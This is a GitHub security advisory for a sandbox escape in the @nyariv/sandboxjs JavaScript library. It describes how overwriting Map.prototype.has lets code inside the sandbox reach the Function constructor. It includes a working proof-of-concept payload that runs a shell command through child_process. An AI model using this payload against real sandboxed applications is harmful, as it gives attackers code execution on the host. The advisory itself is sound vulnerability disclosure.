GHSA-66h4-qj4x-38xp

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE